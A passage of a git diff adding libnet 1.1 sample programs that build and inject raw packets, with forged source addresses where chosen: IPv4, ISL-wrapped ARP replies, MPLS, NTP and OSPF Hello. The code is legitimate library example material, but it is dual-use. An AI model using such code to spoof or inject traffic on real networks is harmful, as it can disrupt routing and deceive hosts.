+ payload_s, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + proto, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + ip_ptag); /* libnet id */ + if (ip_ptag == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + eth_ptag = libnet_build_ethernet( + hwdst, /* ethernet destination */ + hwsrc, /* ethernet source */ + ETHERTYPE_IP, /* protocol type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (eth_ptag == -1) + { + fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte IP packet; check the wire.\n", c); + } + + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s [-s source_ip] [-d destination_ip]" + " [-S HW src] [-D HW dst]" + " [-i iface] [-p payload] [-t]\n", + name); +} + +/* EOF */ diff --git a/libnet/sample/ip_raw.c b/libnet/sample/ip_raw.c new file mode 100644 index 0000000..73c30fc --- /dev/null +++ b/libnet/sample/ip_raw.c @@ -0,0 +1,180 @@ +/* + * + * libnet 1.1 + * Build a IPv4 packet with what you want as payload + * + * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org> + * All rights reserved. + * + * Ex: + * - send an UDP packet from port 4369 to port 8738 + * ./ip -s 1.1.1.1 -d 2.2.2.2 + * + * - send a TCP SYN from port 4369 to port 8738 + * ./ip -s 1.1.1.1 -d 2.2.2.2 -t -p `printf "\x04\x57\x08\xae\x01\x01\x01\x01\x02\x02\x02\x02\x50\x02\x7f\xff\xd5\x91\x41\x41"` + * + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char *argv[]) +{ + int c; + libnet_t *l; + char *device = NULL; + char *dst = "2.2.2.2", *src = "1.1.1.1"; + u_long src_ip, dst_ip; + char errbuf[LIBNET_ERRBUF_SIZE]; + libnet_ptag_t ip_ptag = 0; + u_short proto = IPPROTO_UDP; + u_char payload[255] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5}; + u_long payload_s = 8; + + printf("libnet 1.1 packet shaping: IP + payload[raw]\n"); + + /* + * handle options + */ + while ((c = getopt(argc, argv, "d:s:tp:i:h")) != EOF) + { + switch (c) + { + case 'd': + dst = optarg; + break; + + case 's': + src = optarg; + break; + + case 'i': + device = optarg; + break; + + case 't': + proto = IPPROTO_TCP; + break; + + case 'p': + strncpy(payload, optarg, sizeof(payload)-1); + payload_s = strlen(payload); + break; + + case 'h': + usage(argv[0]); + exit(EXIT_SUCCESS); + + default: + exit(EXIT_FAILURE); + } + } + + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + device, /* network interface */ + errbuf); /* error buffer */ + + printf("Using device %s\n", l->device); + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + if ((dst_ip = libnet_name2addr4(l, dst, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", dst); + exit(EXIT_FAILURE); + } + + if ((src_ip = libnet_name2addr4(l, src, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", src); + exit(EXIT_FAILURE); + } + + + /* + * Build the packet + */ + ip_ptag = libnet_build_ipv4( + LIBNET_IPV4_H + payload_s, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + proto, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + ip_ptag); /* libnet id */ + if (ip_ptag == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte IP packet; check the wire.\n", c); + } + + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s [-s source_ip] [-d destination_ip]" + " [-i iface] [-p payload] [-t]\n", + name); +} + +/* EOF */ diff --git a/libnet/sample/isl.c b/libnet/sample/isl.c new file mode 100644 index 0000000..ab5cf3e --- /dev/null +++ b/libnet/sample/isl.c @@ -0,0 +1,167 @@ +/* + * $Id: isl.c,v 1.2 2004/01/03 20:31:01 mike Exp $ + * + * libnet 1.1 + * Build an ISL packet + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char *argv[]) +{ + int c, len; + libnet_t *l; + libnet_ptag_t t; + u_char *dst; + u_long ip; + u_char dhost[5] = {0x01, 0x00, 0x0c, 0x00, 0x00}; + u_char snap[6] = {0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00}; + char *device = NULL; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: [ISL]\n"); + + device = NULL; + dst = NULL; + while ((c = getopt(argc, argv, "i:d:")) != EOF) + { + switch (c) + { + case 'd': + dst = libnet_hex_aton(optarg, &len); + break; + case 'i': + device = optarg; + break; + } + } + + if (dst == NULL) + { + fprintf(stderr, "usage %s -d dst [-i interface]\n", + argv[0]); + exit(EXIT_FAILURE); + } + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_LINK, /* injection type */ + device, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + ip = libnet_get_ipaddr4(l); + + t = libnet_build_arp( + ARPHRD_ETHER, /* hardware addr */ + ETHERTYPE_IP, /* protocol addr */ + 6, /* hardware addr size */ + 4, /* protocol addr size */ + ARPOP_REPLY, /* operation type */ + enet_src, /* sender hardware addr */ + (u_char *)&ip, /* sender protocol addr */ + enet_dst, /* target hardware addr */ + (u_char *)&ip, /* target protocol addr */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_autobuild_ethernet( + dst, /* ethernet destination */ + ETHERTYPE_ARP, /* protocol type */ + l); /* libnet handle */ + if (t == -1) + { + fprintf(stderr, "Can't build ethernet header: %s\n", + libnet_geterror(l)); + goto bad; + } + + t = libnet_build_isl( + dhost, + 0x0, + 0x0, + enet_src, + 10 + 42, + snap, + 10, + 0x8000, + 0, + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build ISL header: %s\n", + libnet_geterror(l)); + goto bad; + } + + + /* + * Write it to the wire. + */ + c = libnet_write(l); + + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte ISL packet; check the wire.\n", c); + } + free(dst); + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + free(dst); + libnet_destroy(l); + return (EXIT_FAILURE); +} + +/* EOF */ diff --git a/libnet/sample/libnet_test.h b/libnet/sample/libnet_test.h new file mode 100644 index 0000000..7590e7a --- /dev/null +++ b/libnet/sample/libnet_test.h @@ -0,0 +1,60 @@ +/* + * $Id: libnet_test.h,v 1.3 2004/01/29 21:17:16 mike Exp $ + * + * libnet_test.h + * + * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com> + */ + +#ifndef __LIBNET_TEST_H +#define __LIBNET_TEST_H + +#ifndef _WIN32 +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#include "../include/win32/getopt.h" +#endif + +#define libnet_timersub(tvp, uvp, vvp) \ + do { \ + (vvp)->tv_sec = (tvp)->tv_sec - (uvp)->tv_sec; \ + (vvp)->tv_usec = (tvp)->tv_usec - (uvp)->tv_usec; \ + if ((vvp)->tv_usec < 0) { \ + (vvp)->tv_sec--; \ + (vvp)->tv_usec += 1000000; \ + } \ + } while (0) + +u_char enet_src[6] = {0x0d, 0x0e, 0x0a, 0x0d, 0x00, 0x00}; +u_char enet_dst[6] = {0x00, 0x10, 0x67, 0x00, 0xb1, 0x86}; +u_char ip_src[4] = {0x0a, 0x00, 0x00, 0x01}; +u_char ip_dst[4] = {0x0a, 0x00, 0x00, 0x02}; +u_char fddi_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00}; +u_char fddi_dst[6] = {0x00, 0x10, 0x67, 0x00, 0xb1, 0x86}; +u_char tr_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00}; +u_char tr_dst[6] = {0x00, 0x10, 0x67, 0x00, 0xb1, 0x86}; + +u_char org_code[3] = {0x00, 0x00, 0x00}; + +void usage(char *); + +#if defined(__WIN32__) +#include <win32/getopt.h> +#include <winsock2.h> +#include <ws2tcpip.h> +#ifndef _WIN32 +#include <sys/time.h> +#endif +#if defined(__GNUC__) /* mingw compiler */ +extern __attribute__((dllimport)) char *optarg; +#else /* assume msvc */ +#ifndef _WIN32 +extern __dllspec(dllimport) char *optarg; +#endif +#endif +#endif /* __WIN32__ */ + +#endif /* __LIBNET_TEST_H */ + +/* EOF */ diff --git a/libnet/sample/mpls.c b/libnet/sample/mpls.c new file mode 100644 index 0000000..7e6a070 --- /dev/null +++ b/libnet/sample/mpls.c @@ -0,0 +1,251 @@ +/* + * $Id: mpls.c,v 1.3 2004/03/01 20:26:12 mike Exp $ + * + * libnet 1.1 + * Build an MPLS packet + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char *argv[]) +{ + int c; + u_char *cp; + libnet_t *l; + libnet_ptag_t t; + u_char *payload; + u_long payload_s; + u_long src_ip, dst_ip; + u_short src_prt, dst_prt; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 packet shaping: MPLS[link]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_LINK_ADV, /* injection type */ + NULL, /* network interface */ + errbuf); /* error buffer */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + src_ip = 0; + dst_ip = 0; + src_prt = 0; + dst_prt = 0; + payload = NULL; + payload_s = 0; + while ((c = getopt(argc, argv, "d:s:p:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 'd': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + dst_prt = (u_short)atoi(cp); + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 's': + if (!(cp = strrchr(optarg, '.'))) + { + usage(argv[0]); + } + *cp++ = 0; + src_prt = (u_short)atoi(cp); + if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad source IP address: %s\n", optarg); + exit(EXIT_FAILURE); + } + break; + case 'p': + payload = optarg; + payload_s = strlen(payload); + break; + default: + exit(EXIT_FAILURE); + } + } + + if (!src_ip || !src_prt || !dst_ip || !dst_prt) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + t = libnet_build_tcp( + src_prt, /* source port */ + dst_prt, /* destination port */ + 0xffffffff, /* sequence number */ + 0x00000000, /* acknowledgement num */ + TH_SYN, /* control flags */ + 32767, /* window size */ + 0, /* checksum */ + 0, /* urgent pointer */ + LIBNET_TCP_H + payload_s, /* TCP packet size */ + payload, /* payload */ + payload_s, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */ + 0, /* TOS */ + 242, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_TCP, /* protocol */ + 0, /* checksum */ + src_ip, /* source IP */ + dst_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + + t = libnet_build_mpls( + 29, /* label */ + 4, /* experimental */ + LIBNET_MPLS_BOS_ON, /* bottom of stack */ + 0xff, /* ttl */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build MPLS header: %s\n", libnet_geterror(l)); + goto bad; + } + t = libnet_build_mpls( + 39, /* label */ + 5, /* experimental */ + LIBNET_MPLS_BOS_ON, /* bottom of stack */ + 0xef, /* ttl */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build MPLS header: %s\n", libnet_geterror(l)); + goto bad; + } + t = libnet_build_mpls( + 59, /* label */ + 6, /* experimental */ + LIBNET_MPLS_BOS_ON, /* bottom of stack */ + 0x0f, /* ttl */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build MPLS header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ethernet( + enet_dst, /* ethernet destination */ + enet_src, /* ethernet source */ + ETHERTYPE_MPLS, /* protocol type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte MPLS frame; check the wire.\n", c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s -s source_ip.source_port -d destination_ip.destination_port" + " [-p payload]\n", + name); +} + +/* EOF */ diff --git a/libnet/sample/ntp.c b/libnet/sample/ntp.c new file mode 100644 index 0000000..0fef46f --- /dev/null +++ b/libnet/sample/ntp.c @@ -0,0 +1,193 @@ +/* + * $Id: ntp.c,v 1.3 2004/02/20 18:53:49 mike Exp $ + * + * libnet 1.1 + * Build an NTP Packet + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char **argv) +{ + int c; + libnet_t *l; + u_long dst_ip; + libnet_ptag_t t; + char errbuf[LIBNET_ERRBUF_SIZE]; + + printf("libnet 1.1 NTP packet shaping[raw -- autobuilding IP]\n"); + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* error buf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + dst_ip = 0; + while((c = getopt(argc, argv, "d:")) != EOF) + { + switch (c) + { + /* + * We expect the input to be of the form `ip.ip.ip.ip.port`. We + * point cp to the last dot of the IP address/port string and + * then seperate them with a NULL byte. The optarg now points to + * just the IP address, and cp points to the port. + */ + case 'd': + if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", optarg); + exit(1); + } + break; + } + } + if (!dst_ip) + { + usage(argv[0]); + exit(EXIT_FAILURE); + } + + /* + * Build the packet, remmebering that order IS important. We must + * build the packet from lowest protocol type on up as it would + * appear on the wire. So for our NTP packet: + * + * -------------------------------------------------------------------- + * | IP | UDP | NTP | + * -------------------------------------------------------------------- + * ^ ^ ^ + * |-------------- | | + * libnet_build_ipv4()--| | | + * | | + * libnet_build_udp()-------| | + * | + * libnet_build_ntp()------------------------------| + */ + t = libnet_build_ntp( + LIBNET_NTP_LI_AC, /* leap indicator */ + LIBNET_NTP_VN_4, /* version */ + LIBNET_NTP_MODE_S, /* mode */ + LIBNET_NTP_STRATUM_PRIMARY, /* stratum */ + 4, /* poll interval */ + 1, /* precision */ + 0xffff, /* delay interval */ + 0xffff, /* delay fraction */ + 0xffff, /* dispersion interval */ + 0xffff, /* dispersion fraction */ + LIBNET_NTP_REF_PPS, /* reference id */ + 0x11, /* reference ts int */ + 0x22, /* reference ts frac */ + 0x33, /* originate ts int */ + 0x44, /* originate ts frac */ + 0x55, /* receive ts int */ + 0x66, /* receive ts frac */ + 0x77, /* transmit ts interval */ + 0x88, /* transmit ts fraction */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build NTP header: %s\n", libnet_geterror(l)); + goto bad; + } + + libnet_seed_prand(l); + t = libnet_build_udp( + libnet_get_prand(LIBNET_PRu16), /* source port */ + 123, /* NTP port */ + LIBNET_UDP_H + LIBNET_NTP_H, /* UDP packet length */ + 0, /* checksum */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_autobuild_ipv4( + LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_NTP_H,/* packet length */ + IPPROTO_UDP, + dst_ip, + l); + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + + fprintf(stderr, "l contains a %d byte packet\n", libnet_getpacket_size(l)); + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte NTP packet; check the wire.\n", c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + + +void +usage(char *name) +{ + fprintf(stderr, + "usage: %s -d destination_ip\n", + name); +} + +/* EOF */ diff --git a/libnet/sample/ospf_hello.c b/libnet/sample/ospf_hello.c new file mode 100644 index 0000000..e3a20d7 --- /dev/null +++ b/libnet/sample/ospf_hello.c @@ -0,0 +1,176 @@ +/* + * $Id: ospf_hello.c,v 1.3 2004/11/09 07:05:07 mike Exp $ + * + * libnet 1.1 + * Build an OSPF Hello packet + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Copyright (c) 1999, 2000 Andrew Reiter <areiter@bindview.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +int +main(int argc, char **argv) +{ + int c; + libnet_t *l; + libnet_ptag_t t; + u_long src, dst; + char errbuf[LIBNET_ERRBUF_SIZE]; + u_char *to, *from; + u_char auth[8] = {0,0,0,0,0,0,0,0}; + + + printf("libnet 1.1 OSPF Hello packet shaping[raw]\n"); + + if (argc != 3) + { + usage(argv[0]); + } + + from = argv[1]; + to = argv[2]; + + /* + * Initialize the library. Root priviledges are required. + */ + l = libnet_init( + LIBNET_RAW4, /* injection type */ + NULL, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + /* Too lazy to check for error */ + src = libnet_name2addr4(l, from, LIBNET_DONT_RESOLVE); + dst = libnet_name2addr4(l, to, LIBNET_DONT_RESOLVE); + + t = libnet_build_ospfv2_hello( + 0xffffffff, /* netmask */ + 2, /* interval */ + 0x00, /* options */ + 0x00, /* priority */ + 30, /* dead int */ + src, /* router */ + src, /* router */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build OSPF HELLO header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* authentication data */ + t = libnet_build_data( + auth, /* auth data */ + LIBNET_OSPF_AUTH_H, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build OSPF auth header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ospfv2( + LIBNET_OSPF_HELLO_H + LIBNET_OSPF_AUTH_H, /* OSPF packet length */ + LIBNET_OSPF_HELLO, /* OSPF packet type */ + htonl(0xd000000d), /* router id */ + htonl(0xc0ffee00), /* area id */ + 0, /* checksum */ + LIBNET_OSPF_AUTH_NULL, /* auth type */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + + if (t == -1) + { + fprintf(stderr, "Can't build OSPF header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_OSPF_H + + LIBNET_OSPF_HELLO_H + LIBNET_OSPF_AUTH_H, /* packet total legnth */ + 0, /* TOS */ + 101, /* IP iD */ + IP_DF, /* IP frag */ + 254, /* TTL */ + IPPROTO_OSPF, /* protocol */ + 0, /* checksum */ + src, /* source IP */ + dst, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); /* libnet id */ + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* + * Write it to the wire. + */ + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte OSPF packet; check the wire.\n", c); + } + libnet_destroy(l); + return (EXIT_SUCCESS); +bad: + libnet_destroy(l); + return (EXIT_FAILURE); +} + + +void +usage(char *pname) +{ + printf("Usage: %s <source ip> <dest. ip> <neighbor>\n", pname); + 